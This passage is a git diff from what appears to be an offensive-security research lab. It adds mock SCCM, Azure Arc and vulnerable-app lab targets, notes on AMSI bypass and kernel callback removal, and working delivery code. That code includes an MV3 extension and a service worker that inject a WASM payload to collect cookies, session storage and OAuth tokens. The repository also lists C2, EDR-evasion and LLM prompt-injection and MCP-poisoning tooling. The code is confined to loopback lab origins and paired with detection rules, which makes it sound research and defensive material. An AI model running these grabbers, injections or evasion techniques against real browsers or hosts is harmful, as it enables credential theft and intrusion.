2026 reality check [v4] | [tools/cloud-identity/entra-2026/entra_reality_check.py](tools/cloud-identity/entra-2026/entra_reality_check.py) | -| LLM attack tooling [v4] | [tools/llm-attacks/README.md](tools/llm-attacks/README.md) | -| Injection corpus [v4] | [tools/llm-attacks/indirect-injection/payload_corpus.py](tools/llm-attacks/indirect-injection/payload_corpus.py) | -| MCP abuse server [v4] | [tools/llm-attacks/mcp-abuse/malicious_server.py](tools/llm-attacks/mcp-abuse/malicious_server.py) | -| Agent transcript detector [v4] | [tools/llm-attacks/agent-confusion/transcript_detector.py](tools/llm-attacks/agent-confusion/transcript_detector.py) | -| Browser extension catalog [v4] | [tools/browser-ext-attacks/README.md](tools/browser-ext-attacks/README.md) | -| Extension manifest analyzer [v4] | [tools/browser-ext-attacks/eval/manifest_analyzer.py](tools/browser-ext-attacks/eval/manifest_analyzer.py) | -| BYOVD framework [v4] | [tools/byovd/byovd_framework.py](tools/byovd/byovd_framework.py) | -| WDAC policy tools [v4] | [tools/edr-silencing/wdac-abuse/wdac_policy_generator.py](tools/edr-silencing/wdac-abuse/wdac_policy_generator.py) | -| EDR coverage map [v4] | [tools/edr-silencing/blind-spot-enum/edr_coverage_map.py](tools/edr-silencing/blind-spot-enum/edr_coverage_map.py) | -| HW-BP syscalls [v4] | [tools/rust/syscalls-hwbp/src/lib.rs](tools/rust/syscalls-hwbp/src/lib.rs) | -| Modern sleep masks [v4] | [tools/rust/sleep-mask-modern/src/lib.rs](tools/rust/sleep-mask-modern/src/lib.rs) | -| Threadless injection [v4] | [tools/rust/threadless-inject/src/lib.rs](tools/rust/threadless-inject/src/lib.rs) | -| ETW-TI awareness [v4] | [tools/rust/etw-ti-aware/src/lib.rs](tools/rust/etw-ti-aware/src/lib.rs) | -| Browser Exploit Framework | [tools/framework/README.md](tools/framework/README.md) | -| Post-exploit staging | [tools/post-exploit-staging/README.md](tools/post-exploit-staging/README.md) | -| Implant dashboard | [tools/dashboard/README.md](tools/dashboard/README.md) | -| Forensic analysis | [tools/forensic-analysis/README.md](tools/forensic-analysis/README.md) | -| Docker Compose lab | [docker-compose.lab.yml](docker-compose.lab.yml) | -| Lab Makefile | [Makefile](Makefile) | -| Rust beacon binary | [tools/rust/beacon/src/main.rs](tools/rust/beacon/src/main.rs) | -| Rust containment lib | [tools/rust/containment/src/lib.rs](tools/rust/containment/src/lib.rs) | - -## Key Rules - -### No binaries in the repo -Do not commit compiled binaries, browser builds, or shared libraries. These go in local-only directories covered by `.gitignore` (e.g., `chrome-win64/`, `js-shell*/`, `*.so`, `*.dylib`, `*.exe`). - -### No secrets -Never commit `.env` files, API keys, tokens, or credentials. Use `.env.example` to document required variables. The `.gitignore` excludes `.env` and `.env.*`. - -### No large media -PDFs, videos, and large archives are excluded by `.gitignore`. Reference them by URL or store them externally. - -## How to Add New Content - -### Adding a new CVE - -1. Create the directory: `cves///CVE-/` -2. Add a README with: CVE ID, affected component, affected versions, root cause, reproduction steps -3. Add exploit/trigger source files -4. Update the CVE table in the root `README.md` and `cves/README.md` - -### Adding a new tool - -1. Create the directory: `tools//` -2. Add a README with purpose, usage, and dependencies -3. Add a `requirements.txt` if Python-based -4. Update the Tools section in the root `README.md` - -### Adding a new report - -1. Create the directory: `reports//` -2. Add report source and build instructions -3. Update the Reports section in the root `README.md` +### Reports +→ [reports/databricks-apps-assessment/](reports/databricks-apps-assessment/) — Streamlit report (see build notes above) diff --git a/Makefile b/Makefile index d15d51a..f7bcf14 100644 --- a/Makefile +++ b/Makefile @@ -11,7 +11,9 @@ KIND_CLUSTER = exploit-lab-k8s lab-llm-up lab-llm-down \ lab-saml-up lab-saml-down \ lab-databricks-up lab-databricks-down \ - lab-oidc-up lab-oidc-down + lab-oidc-up lab-oidc-down \ + lab-sccm-up lab-sccm-down \ + lab-arc-up lab-arc-down ## Start the contained lab environment lab-up: @@ -205,3 +207,43 @@ lab-oidc-up: lab-oidc-down: pkill -f mock_oidc_issuer.py || true @echo "Mock OIDC issuer stopped." + +## ── Mock SCCM lab (v5) ─────────────────────────────────────────────────────── +## Stands up mock SCCM management point on port 9600 for ELEVATE1/ELEVATE2 demos + +## Start the mock SCCM service +lab-sccm-up: + docker build -t mock-sccm infra/lab/mock-sccm/ + docker run -d --name mock-sccm -p 9600:9600 \ + -e EXPLOIT_LAB_ACTIVE=1 mock-sccm + @echo "Mock SCCM management point: http://127.0.0.1:9600" + @echo " Enumerate: EXPLOIT_LAB_ACTIVE=1 EXPLOIT_LAB_OFFLINE_VM=1 EXPLOIT_FIXTURE_ROOT=/tmp/lab \\" + @echo " python tools/lateral-movement/sccm-abuse/enumerate.py --target 127.0.0.1:9600" + @echo " ELEVATE1: EXPLOIT_LAB_ACTIVE=1 EXPLOIT_LAB_OFFLINE_VM=1 EXPLOIT_FIXTURE_ROOT=/tmp/lab \\" + @echo " python tools/lateral-movement/sccm-abuse/elevate.py --target 127.0.0.1:9600 --technique ELEVATE1" + +## Stop the mock SCCM service +lab-sccm-down: + docker stop mock-sccm && docker rm mock-sccm || true + @echo "Mock SCCM stopped." + +## ── Mock Azure Arc lab (v5) ────────────────────────────────────────────────── +## Extends mock-imds (port 9200) with Azure Arc MSI endpoint for arc_pivot.py demos + +## Start the Azure Arc IMDS extension (adds /metadata/identity endpoint to mock-imds) +lab-arc-up: + @echo "Starting Azure Arc MSI pivot lab..." + @echo " This lab reuses mock-imds (port 9200) with Arc MSI endpoint enabled." + docker build -t mock-imds-arc infra/lab/mock-imds/ \ + --build-arg ARC_MSI=1 2>/dev/null || \ + EXPLOIT_LAB_ACTIVE=1 python3 infra/lab/mock-imds/mock_imds.py --arc-msi & + @echo "Mock IMDS (Azure Arc mode): http://127.0.0.1:9200" + @echo " Arc MSI token: GET http://127.0.0.1:9200/metadata/identity/oauth2/token?api-version=2020-06-01" + @echo " Arc pivot: EXPLOIT_LAB_ACTIVE=1 ENTRA_LAB_TENANT_ID=lab-tenant-001 \\" + @echo " python tools/lateral-movement/azure-arc/arc_pivot.py" + +## Stop the Azure Arc IMDS extension +lab-arc-down: + pkill -f mock_imds.py || true + docker stop mock-imds-arc 2>/dev/null && docker rm mock-imds-arc 2>/dev/null || true + @echo "Azure Arc lab stopped." diff --git a/README.md b/README.md index 263d930..82d887b 100644 --- a/README.md +++ b/README.md @@ -88,8 +88,11 @@ make lab-logs # Tail all logs - **Modern Sleep Masks** (`tools/rust/sleep-mask-modern/`) - Cronos (fiber + RC4 stack encryption), RustyCronos (pure-Rust stack walking + XOR), HWBP-driven sleep (VEH on NtWaitForSingleObject). Supersedes `sleep-mask/` (Ekko/Foliage). - **Threadless Injection** (`tools/rust/threadless-inject/`) - Module stomping (lab-DLL-only), Phantom DLL hollowing (TxF, with deprecation notice), DLL-notification-callback hijack (TheirHazard pattern). - **ETW-TI Awareness** (`tools/rust/etw-ti-aware/`) - Passive enumeration of active ETW providers (20 EDR GUIDs), ETW-TI detection, hooked-stub fingerprinting. +- **Call Stack Spoofing** (`tools/rust/callstack-spoof/`) - SilentMoonwalk-pattern `CALL RAX` gadget finder, unwind-metadata validator, `with_spoofed_stack()` RAII wrapper. Beacon optional feature `callstack-spoof`. +- **Patchless AMSI/ETW Bypass** (`tools/rust/amsi-patchless/`) - HWBP (DR0/DR1) arm/disarm, VEH handler sets RAX=0 without modifying `AmsiScanBuffer`/`EtwEventWrite` memory. +- **BOF/COFF Loader** (`tools/rust/bof-loader/`) - goblin-based COFF parser, 22-entry symbol allowlist, `OutputSandbox` capture, VirtualAlloc+RWX+relocation exec on Windows. - **BYOVD Framework** (`tools/byovd/`) - Pydantic manifest schema (hash-only, no driver files), Microsoft HVCI blocklist checker, orchestration API for arb-read/token-swap/callback-enum. Refuses to run without `EXPLOIT_LAB_OFFLINE_VM`. See `manifest.yml.example`. -- **EDR Silencing via Policy** (`tools/edr-silencing/`) - WDAC policy generator/analyzer (deny-by-hash, allow-by-cert, downgrade-to-audit), PPL bypass research + patch timeline, EDR coverage-map enumerator with 11 named gap advisories. +- **EDR Silencing via Policy** (`tools/edr-silencing/`) - WDAC policy generator/analyzer (deny-by-hash, allow-by-cert, downgrade-to-audit), PPL bypass research + patch timeline, EDR coverage-map enumerator with 11 named gap advisories, kernel callback integrity check. ### LLM & Agent Attacks @@ -159,49 +162,62 @@ exploits/ │ │ ├── beacon/ # Beacon client binary │ │ ├── containment/ # ContainmentGuard (Rust) │ │ ├── syscalls/ # Hell's Gate + Tartarus Gate -│ │ ├── syscalls-hwbp/ # Hardware-breakpoint syscall dispatch [v4] +│ │ ├── syscalls-hwbp/ # Hardware-breakpoint syscall dispatch │ │ ├── sleep-mask/ # Ekko / Foliage -│ │ ├── sleep-mask-modern/ # Cronos / RustyCronos / HWBP sleep [v4] -│ │ ├── threadless-inject/ # Module stomping / TxF / DLL-notify [v4] -│ │ ├── etw-ti-aware/ # ETW-TI + EDR provider enumeration [v4] +│ │ ├── sleep-mask-modern/ # Cronos / RustyCronos / HWBP sleep +│ │ ├── threadless-inject/ # Module stomping / TxF / DLL-notify +│ │ ├── etw-ti-aware/ # ETW-TI + EDR provider enumeration +│ │ ├── callstack-spoof/ # Call stack spoofing +│ │ ├── amsi-patchless/ # HWBP AMSI/ETW bypass +│ │ ├── bof-loader/ # COFF/BOF executor │ │ ├── telemetry-patch/ # ETW/AMSI prologue patching │ │ ├── cookie-theft/ # Chrome app-bound cookie decryption │ │ └── crypto/ # Shared crypto primitives │ ├── c2/ # Modular C2 server + transports + relay -│ │ ├── transports/ # WebSocket, gRPC, SMB pipe, DoH, HTTP [v4] -│ │ ├── relay/ # P2P relay node + topology graph [v4] -│ │ └── profiles/ # Dynamic YAML transport profiles [v4] -│ ├── ad-cs/ # AD CS ESC1–ESC15 exploitation [v4] +│ │ ├── transports/ # WebSocket, gRPC, SMB pipe, DoH, HTTP +│ │ ├── relay/ # P2P relay node + topology graph +│ │ └── profiles/ # Dynamic YAML transport profiles +│ ├── ad-cs/ # AD CS ESC1–ESC15 exploitation │ │ ├── enum/ # LDAP-based template enumerator │ │ └── exploit/ # esc01/ through esc15/ + chain.py -│ ├── kerberos/ # Kerberos lateral movement [v4] +│ ├── kerberos/ # Kerberos lateral movement │ │ ├── s4u/ # S4U2self / S4U2proxy │ │ ├── rbcd/ # RBCD attack chain + ACL scanner │ │ ├── relay/ # NTLM relay modernization │ │ └── roasting/ # Targeted Kerberoasting / AS-REP roasting -│ ├── cloud-identity/ # Modern cloud identity attacks [v4] +│ ├── cloud-identity/ # Modern cloud identity attacks │ │ ├── wif/ # Workload Identity Federation abuse │ │ ├── oidc-trust/ # OIDC trust confusion │ │ ├── golden-saml/ # Golden SAML + OIDC token forging │ │ ├── entra-2026/ # Modern Entra reality check │ │ └── databricks/ # Databricks OAuth OBO chain abuse -│ ├── llm-attacks/ # LLM and agent abuse tooling [v4] +│ ├── llm-attacks/ # LLM and agent abuse tooling │ │ ├── indirect-injection/ # 51-payload corpus + delivery harness │ │ ├── mcp-abuse/ # MCP server tool poisoning / rug-pull │ │ ├── agent-confusion/ # Confused-deputy + transcript detector │ │ └── eval/ # Injection benchmark harness -│ ├── browser-ext-attacks/ # Browser extension supply-chain [v4] +│ ├── browser-ext-attacks/ # Browser extension supply-chain │ │ ├── cookie-theft/ # MV3 chrome.cookies exfil │ │ ├── session-hijack/ # webRequest header capture │ │ ├── form-grab/ # Content-script form grabber │ │ ├── dnr-redirect/ # DeclarativeNetRequest abuse │ │ ├── update-hijack/ # Mock Web Store + permission differ │ │ └── eval/ # Manifest analyzer + CDP runtime monitor -│ ├── byovd/ # BYOVD orchestration framework [v4] -│ ├── edr-silencing/ # EDR silencing via policy [v4] +│ ├── byovd/ # BYOVD orchestration framework +│ ├── edr-silencing/ # EDR silencing via policy │ │ ├── wdac-abuse/ # WDAC policy generator / analyzer │ │ ├── ppl-bypass/ # PPL bypass research + timeline -│ │ └── blind-spot-enum/ # EDR coverage map + gap advisor +│ │ ├── blind-spot-enum/ # EDR coverage map + gap advisor +│ │ └── callback-integrity/ # Kernel callback enum + integrity check +│ ├── lateral-movement/ # Lateral movement modules +│ │ ├── rpc-movement/ # DCOM/TSCH/SCMR/WMI via Impacket 0.12 +│ │ ├── sccm-abuse/ # SCCM ELEVATE1/ELEVATE2 +│ │ ├── azure-arc/ # Azure Arc MSI pivot +│ │ └── exchange-hybrid/ # evoSTS token forging (Storm-0558) +│ ├── browser-native-postex/ # WASM browser post-exploitation +│ │ ├── wasm-payload/ # Rust → WASM (wasm-bindgen) +│ │ └── delivery/ # MV3 ext / service worker / XSS +│ ├── bofs/ # BOF implementations for bof-loader │ ├── entra-abuse/ # Device-code phishing, PRT (v3) │ ├── framework/ # Exploit orchestration framework │ ├── dashboard/ # Session management dashboard @@ -216,19 +232,18 @@ exploits/ │ └── methodology/ # Attacker + defender methodology docs ├── infra/ │ └── lab/ -│ ├── ad-cs/ # Vagrant AD CS lab (DC + CA + workstations) [v4] -│ ├── llm-target/ # Ollama + copilot Flask app [v4] -│ ├── mock-databricks/ # Mock Databricks Apps OAuth [v4] -│ ├── mock-saml/ # Mock SAML SP/IdP [v4] +│ ├── ad-cs/ # Vagrant AD CS lab (DC + CA + workstations) +│ ├── llm-target/ # Ollama + copilot Flask app +│ ├── mock-databricks/ # Mock Databricks Apps OAuth +│ ├── mock-saml/ # Mock SAML SP/IdP │ ├── mock-entra/ # Mock Entra IdP (device code, token, PRT) │ ├── mock-imds/ # Mock AWS/GCP/Azure IMDS +│ ├── mock-sccm/ # Mock SCCM management point (port 9600) │ └── kind-cluster/ # K8s post-ex kind cluster ├── site/ # GitHub Pages static site └── cves/ # CVE reproductions ``` -**[v4]** = added in tradecraft modernization (2026-04-20) - ## Getting Started 1. Clone the repo and install lab dependencies: `pip install -r requirements-lab.txt` diff --git a/docker-compose.lab.yml b/docker-compose.lab.yml index f1639d3..a0ea883 100644 --- a/docker-compose.lab.yml +++ b/docker-compose.lab.yml @@ -222,6 +222,40 @@ services: - lab-internal restart: unless-stopped + # ── Mock SCCM ───────────────────────────────────────────────────────────────── + # Simulates SCCM/MECM site server for MisconfigurationManager-style attacks. + # Used by tools/lateral-movement/sccm-abuse/ — lab domain gated. + mock-sccm: + build: + context: . + dockerfile: infra/lab/mock-sccm/Dockerfile + container_name: lab-mock-sccm + hostname: sccm.corp.lab.local + environment: + - EXPLOIT_LAB_ACTIVE=1 + ports: + - "127.0.0.1:9600:9600" # Mock SCCM API - loopback only + networks: + - lab-internal + restart: unless-stopped + + # ── Vulnerable Lab App (XSS delivery demo) ──────────────────────────────── + # Intentionally vulnerable Flask app for WASM/XSS delivery vector demo. + # Used by tools/browser-native-postex/delivery/via_xss/ + vulnerable-lab-app: + build: + context: . + dockerfile: infra/lab/vulnerable-lab-app/Dockerfile + container_name: lab-vulnerable-app + hostname: vulnerable-app + environment: + - EXPLOIT_LAB_ACTIVE=1 + ports: + - "127.0.0.1:8503:8503" # Vulnerable app - loopback only + networks: + - lab-internal + restart: unless-stopped + networks: lab-internal: driver: bridge diff --git a/docs/analysis/amsi-bypass-timeline.md b/docs/analysis/amsi-bypass-timeline.md new file mode 100644 index 0000000..7c9f58d --- /dev/null +++ b/docs/analysis/amsi-bypass-timeline.md @@ -0,0 +1,49 @@ +# AMSI Bypass Timeline + +Chronological history of AMSI bypass techniques and their patch/detection status. + +## Timeline + +| Year | Technique | Mechanism | Patched? | Detection | +|------|-----------|-----------|----------|-----------| +| 2016 | `amsiInitFailed` flag | Force flag in AmsiContext struct | No (design) | Process memory scan | +| 2018 | `AmsiScanBuffer` prologue patch | Overwrite with `xor eax,eax; ret` | Soft (ETW) | Memory diff / ETW-TI | +| 2019 | `amsi.dll` unload | `FreeLibrary(amsi.dll)` | Yes (PPL?) | DLL load events | +| 2020 | COM server bypass | Replace AMSI COM server registration | Partial | Registry monitoring | +| 2021 | Hardware breakpoint (HWBP) | DR0 on `AmsiScanBuffer`; VEH sets RAX=0 | No | DR modification events | +| 2022 | Kernel AMSI patch | ETW-TI provider disable via kernel write | Yes (PG, DSE) | Kernel integrity | +| 2023 | Reflective load bypass | Load assembly without AMSI scanner | Partial | CLR instrumentation | +| 2024 | HWBP with call-stack spoof | DR0 bypass + spoofed stack for VEH | No | Combined detection | + +## Current state (2026) + +**Memory-patching bypasses** (prologue overwrite) are reliably detected by: +- ETW-TI (Event Tracing for Windows — Threat Intelligence) provider in MDE/CrowdStrike +- Memory scanning on suspicious API invocations +- `BeforeAmsiScanBuffer` / `AfterAmsiScanBuffer` callbacks (MDE 2023+) + +**HWBP bypass** (`tools/rust/amsi-patchless/`) remains the lowest-footprint approach: +- No memory modification — no memory diff signal +- VEH handler is in image-backed memory (if gadgets sourced from loaded modules) +- Detectable via: thread context DR modification events (ETW), VEH registration anomalies + +**Combining HWBP with call-stack spoofing** (`tools/rust/callstack-spoof/`) removes the +stack-based detection signal from the VEH handler invocation. + +## Implementation + +- `tools/rust/amsi-patchless/` — HWBP-based bypass with ETW variant +- `tools/rust/callstack-spoof/` — companion stack spoofer +- `tools/rust/telemetry-patch/` — memory-patching variant (for comparison; higher footprint) + +## Detection + +- `tools/rust/amsi-patchless/detection/sigma/amsi_hwbp_bypass.yml` +- `tools/rust/amsi-patchless/detection/sigma/thread_context_dr_modification.yml` +- `tools/rust/callstack-spoof/detection/sigma/callstack_spoofing_detection.yml` + +## References + +- Matt Graeber: AMSI bypass (2016) +- Sektor7: VEH-based HWBP bypass (2021) +- splinter_code: HWBP + stack spoof combination (2024) diff --git a/docs/analysis/kernel-callback-removal-research.md b/docs/analysis/kernel-callback-removal-research.md new file mode 100644 index 0000000..03ccebf --- /dev/null +++ b/docs/analysis/kernel-callback-removal-research.md @@ -0,0 +1,66 @@ +# Kernel Callback Removal — Research Notes + +This document covers the research landscape for kernel callback removal, defensive +enumeration tooling, and why the `callback-integrity` module is **detection-only**. + +## Background + +The Windows kernel exposes registration tables for security callbacks: +- `PsSetCreateProcessNotifyRoutine` / `PsSetCreateProcessNotifyRoutineEx` — process creation +- `PsSetCreateThreadNotifyRoutine` — thread creation +- `PsSetLoadImageNotifyRoutine` — image (DLL/EXE) load +- `ObRegisterCallbacks` — object access (OpenProcess, OpenThread) +- `CmRegisterCallback` — registry access + +EDR products register callbacks in all of these tables. Kernel-mode code with appropriate +privileges can locate the callback tables and null out EDR entries. + +## Why this module is detection-only + +**All known pure-software kernel callback removal techniques require one of:** + +1. **A kernel exploit** — e.g., a local privilege escalation CVE granting arbitrary kernel + write. These are patched within weeks of public disclosure. + +2. **A BYOVD driver** — a vulnerable signed driver that provides arbitrary kernel read/write + as a primitive. See `tools/byovd/` for the BYOVD framework (hash-only manifest; no + driver files committed per repo policy). + +3. **A PPL bypass** — patched as pure software bypasses since 2022 (see + `tools/edr-silencing/ppl-bypass/`). + +Implementing a kernel callback removal primitive without a corresponding BYOVD driver or +kernel exploit has no demonstration value and would require committing a vulnerable driver +(blocked by CI gate `ci/check_no_committed_drivers.py`). + +**The research value is in the defensive side:** detecting when callbacks have been +removed is a high-fidelity EDR evasion indicator. + +## Defensive tooling + +`tools/edr-silencing/callback-integrity/`: + +- `callback_enumerator.py` — Python-side EDR provider enumeration and diff tool. + Enumerates known EDR providers and compares against baseline. +- `integrity_check_ps.ps1` — PowerShell: enumerates WMI callbacks, loaded security + modules, and expected callback presence. Suitable for incident response. + +## Detection + +- `detection/sigma/kernel_callback_removal.yml` — Sigma: suspicious driver load + subsequent + absence of known EDR process telemetry (proxy for callback removal) +- `detection/kql/callback_telemetry_gaps.kql` — KQL: process creation events without + corresponding EDR sensor telemetry (gap analysis) + +## Known BYOVD drivers (historical) + +The `tools/byovd/` framework maintains a hash-only manifest of known vulnerable drivers. +These are never committed as binaries. See `docs/methodology/edr-silencing-via-policy.md` +for defensive policy-based mitigations. + +## References + +- BYOVD research: Alkhyyat (2023), EDR-Preloading technique +- PatchGuard: protects kernel code integrity; does not protect callback tables directly +- Microsoft HVCI: blocks loading of unsigned/revoked drivers +- specterops: "Silencing the EDR" research series (2022-2024) diff --git a/docs/methodology/bof-loading-and-safety.md b/docs/methodology/bof-loading-and-safety.md new file mode 100644 index 0000000..928471b --- /dev/null +++ b/docs/methodology/bof-loading-and-safety.md @@ -0,0 +1,68 @@ +# BOF Loading and Safety + +Beacon Object Files (BOFs) are position-independent COFF binaries compiled from C that +execute in the beacon process without spawning a child process. The `bof-loader` crate +implements a safe BOF executor with a compile-time symbol allowlist. + +## Architecture + +``` +Operator → C2 API POST /api/sessions/{id}/bof (bof_name) + → C2 server validates bof_name in server-side BOF_ALLOWLIST + → Task dispatched to beacon: {"command": "task_bof", "args": {"bof_name": "..."}} + → Beacon: cmd_task_bof() calls bof-loader crate + → BofLoader::execute() → COFF parse → symbol resolution → RWX alloc → execute +``` + +## Symbol allowlist + +The allowlist in `tools/rust/bof-loader/src/symbol_table.rs` is the primary safety +boundary. Only these API categories are permitted: + +- **Process info (read-only):** `GetCurrentProcessId`, `GetCurrentThreadId`, `OpenProcess` + with PROCESS_QUERY_INFORMATION only +- **Filesystem (read-only):** `FindFirstFileA/W`, `FindNextFileA/W`, `GetFileAttributesA/W` +- **Network info:** `GetAdaptersInfo`, `GetHostNameA/W` +- **Process listing:** `Process32First/Next` +- **BOF output:** `BeaconPrintf`, `BeaconOutput` +- **C runtime (safe subset):** `strlen`, `strcmp`, `strncpy`, `memcpy`, `malloc`, `free` + +Any BOF that imports `VirtualAlloc`, `WriteProcessMemory`, `CreateRemoteThread`, +`LoadLibraryA/W`, `ShellExecuteA/W`, or any other dangerous symbol will fail to load. + +Any change to the allowlist requires review (documented in `src/symbol_table.rs`). + +## Execution model + +1. `BofLoader::parse(bytes)` — goblin parses the COFF, validates all external symbol + references against the allowlist. +2. `execute()` — allocates RWX memory (Windows only), copies `.text` section, applies + relocations, flushes instruction cache, calls the `go` entry point. +3. Output is captured via `OutputSandbox` thread-local before being returned as a string. +4. Memory is freed after execution. + +On non-Windows platforms, `execute()` returns `Err(BofError::UnsupportedPlatform)`. + +## Writing BOFs + +See `tools/bofs/` for example BOFs (`whoami.c`, `ls.c`, `env.c`). + +Compile with: +```bash +x86_64-w64-mingw32-gcc -c -o whoami.o whoami.c +``` + +The output `.o` file is a COFF object that the loader can execute. + +## Detection + +- `tools/rust/bof-loader/detection/sigma/bof_coff_execution.yml` — Sigma: RWX heap + allocation followed by execution without preceding VirtualProtect +- `tools/rust/bof-loader/detection/kql/anomalous_heap_execution.kql` — KQL: MDE + DeviceMemoryEvents with RWX allocation in beacon address range + +## References + +- Cobalt Strike BOF specification: Raphael Mudge (2020) +- goblin crate: COFF/PE parsing in Rust +- TrustedSec BOF collection: example safe BOFs diff --git a/docs/methodology/browser-native-postex.md b/docs/methodology/browser-native-postex.md new file mode 100644 index 0000000..f38d420 --- /dev/null +++ b/docs/methodology/browser-native-postex.md @@ -0,0 +1,87 @@ +# Browser-Native Post-Exploitation (WASM) + +WebAssembly (WASM) payloads compiled from Rust run inside the browser sandbox without +spawning a native process, loading a driver, or making OS API calls. This makes them +invisible to host-based EDR sensors that monitor process creation, DLL injection, or +syscall activity. + +## Why WASM for post-exploitation + +Traditional browser post-exploitation relies on JavaScript: +- CSP `script-src` policies can block inline scripts. +- String-matching WAFs detect eval(), atob(), and common payload patterns. +- Browser DevTools easily decompile minified JS. + +A WASM binary: +- Is compiled bytecode — no trivial source decompilation. +- Loaded via `WebAssembly.instantiate()` or `import()` — harder to fingerprint at rest. +- Runs in the browser's WASM sandbox (same security boundary as JS, but different + detection surface). +- Has no native OS footprint. + +## Capabilities + +The `tools/browser-native-postex/wasm-payload/` module (Rust + wasm-bindgen) implements: + +| Function | What it collects | +|----------|-----------------| +| `session_replay()` | Non-HttpOnly cookies, all sessionStorage keys/values | +| `install_oauth_interceptor()` | OAuth `code=` and `access_token=` in the current URL | +| `install_form_grabber()` | Form count; stub for submit-event capture | + +## Lab origin gate + +`assert_lab_origin()` aborts with a `JsValue` error if `window.location.origin` is not +in the allowlist. This prevents the payload from running outside the lab. + +## Delivery vectors + +### MV3 extension update injection + +Modeled on the Cyberhaven December 2024 incident: 35+ Chrome extensions were updated with +malicious content scripts after attackers phished the extension developers' Google OAuth +credentials. The extension's auto-update mechanism silently installed the malicious version. + +See `tools/browser-native-postex/delivery/via_mv3_extension/`. + +### Compromised service worker + +A service worker with `fetch` event interception can modify every HTML response it serves. +Injecting a ``; + + const modifiedBody = body.replace("", injectedScript + ""); + return new Response(modifiedBody, { + status: response.status, + statusText: response.statusText, + headers: response.headers, + }); +} + +self.addEventListener("message", (event) => { + if (event.data?.type === "ping") { + event.ports[0]?.postMessage({ type: "pong", status: "active" }); + } +}); diff --git a/tools/browser-native-postex/delivery/via_mv3_extension/README.md b/tools/browser-native-postex/delivery/via_mv3_extension/README.md new file mode 100644 index 0000000..5be68e2 --- /dev/null +++ b/tools/browser-native-postex/delivery/via_mv3_extension/README.md @@ -0,0 +1,34 @@ +# Delivery: MV3 Extension Update Injection + +Simulates the Cyberhaven (December 2024) attack pattern: a supply-chain compromise of +the extension update server pushes a malicious MV3 extension update that loads a WASM +post-exploitation payload. + +## Files + +| File | Purpose | +|------|---------| +| `manifest.json` | MV3 manifest — permissions scoped to lab origins only | +| `background.js` | Service worker: receives collected data from content script | +| `content.js` | Injected into lab pages: loads WASM, calls session_replay/interceptor/grabber | + +## Setup + +1. Build the WASM module: `cd ../../wasm-payload && wasm-pack build --target web` +2. Copy `pkg/browser_native_postex.js` and `pkg/browser_native_postex_bg.wasm` into this directory. +3. Load as unpacked extension in Chrome (developer mode). +4. Navigate to `http://127.0.0.1:8501` (or 8502/8503) — content script auto-runs. +5. Check extension background console for collected session data. + +## Attack narrative + +In the wild, the attacker: +1. Compromises the extension developer's CI/CD pipeline or update server. +2. Injects this content script into the published extension update. +3. Chrome's auto-update mechanism silently installs the malicious version. +4. The WASM payload runs on every target page load. + +## References + +- Cyberhaven incident (December 2024): 35+ extensions compromised via OAuth phishing +- Related: `tools/browser-ext-attacks/` for catalog of MV3 attack primitives diff --git a/tools/browser-native-postex/delivery/via_mv3_extension/background.js b/tools/browser-native-postex/delivery/via_mv3_extension/background.js new file mode 100644 index 0000000..4ace20b --- /dev/null +++ b/tools/browser-native-postex/delivery/via_mv3_extension/background.js @@ -0,0 +1,13 @@ +// Background service worker for MV3 extension delivery demo. +// Receives collected data from content script and logs it. +// In a real attack, this would exfil to an attacker-controlled endpoint. +// Here it only logs to extension console (loopback lab). + +chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => { + if (msg.type === "postex_result") { + console.log("[browser-native-postex] received result from tab", sender.tab?.id); + console.log("[browser-native-postex] origin:", msg.origin); + console.log("[browser-native-postex] payload:", JSON.stringify(msg.data, null, 2)); + sendResponse({ status: "logged" }); + } +}); diff --git a/tools/browser-native-postex/delivery/via_mv3_extension/content.js b/tools/browser-native-postex/delivery/via_mv3_extension/content.js new file mode 100644 index 0000000..0c19c78 --- /dev/null +++ b/tools/browser-native-postex/delivery/via_mv3_extension/content.js @@ -0,0 +1,29 @@ +// Content script: loads the WASM module and invokes post-exploitation functions. +// Injected into lab origin pages (127.0.0.1:8501-8503) by the MV3 extension. +// +// Delivery vector: extension update hijack (Cyberhaven pattern). +// An attacker with write access to the extension's update server can push +// a malicious update that replaces this content script. + +(async () => { + try { + const wasmUrl = chrome.runtime.getURL("browser_native_postex.js"); + const { default: init, session_replay, install_oauth_interceptor, install_form_grabber } = + await import(wasmUrl); + + const wasmBinaryUrl = chrome.runtime.getURL("browser_native_postex_bg.wasm"); + await init(fetch(wasmBinaryUrl)); + + const sessionData = session_replay(); + await install_oauth_interceptor(); + await install_form_grabber(); + + chrome.runtime.sendMessage({ + type: "postex_result", + origin: window.location.origin, + data: JSON.parse(sessionData), + }); + } catch (err) { + console.error("[browser-native-postex] content script error:", err); + } +})(); diff --git a/tools/browser-native-postex/delivery/via_mv3_extension/manifest.json b/tools/browser-native-postex/delivery/via_mv3_extension/manifest.json new file mode 100644 index 0000000..0c09565 --- /dev/null +++ b/tools/browser-native-postex/delivery/via_mv3_extension/manifest.json @@ -0,0 +1,42 @@ +{ + "manifest_version": 3, + "name": "Lab Session Inspector", + "version": "1.0.0", + "description": "Browser-native post-exploitation demo: loads WASM payload via MV3 extension. Lab use only.", + "permissions": [ + "storage", + "cookies", + "scripting" + ], + "host_permissions": [ + "http://127.0.0.1:8501/*", + "http://127.0.0.1:8502/*", + "http://127.0.0.1:8503/*", + "http://localhost:8501/*", + "http://localhost:8502/*", + "http://localhost:8503/*" + ], + "background": { + "service_worker": "background.js", + "type": "module" + }, + "content_scripts": [ + { + "matches": [ + "http://127.0.0.1:850*/*", + "http://localhost:850*/*" + ], + "js": ["content.js"], + "run_at": "document_idle" + } + ], + "web_accessible_resources": [ + { + "resources": ["browser_native_postex_bg.wasm", "browser_native_postex.js"], + "matches": [ + "http://127.0.0.1:850*/*", + "http://localhost:850*/*" + ] + } + ] +} diff --git a/tools/browser-native-postex/delivery/via_xss/README.md b/tools/browser-native-postex/delivery/via_xss/README.md new file mode 100644 index 0000000..a160e54 --- /dev/null +++ b/tools/browser-native-postex/delivery/via_xss/README.md @@ -0,0 +1,35 @@ +# Delivery: Stored XSS + +The vulnerable Flask app at port 8503 reflects unsanitized HTML in user-submitted +comments. The stored XSS payload loads the WASM post-exploitation module. + +## Why WASM via XSS is interesting + +Traditional XSS payloads are JavaScript strings — easy to detect with static analysis, +WAF rules, or CSP. A WASM payload loaded via `import()` from a legitimate-looking JS +module is harder to inspect at rest (binary format) and runs in the same browser sandbox +as the page. + +## Setup + +```bash +cd via_xss +pip install -r requirements.txt +# Build WASM first: +cd ../../wasm-payload && wasm-pack build --target web +# Start the lab app: +python 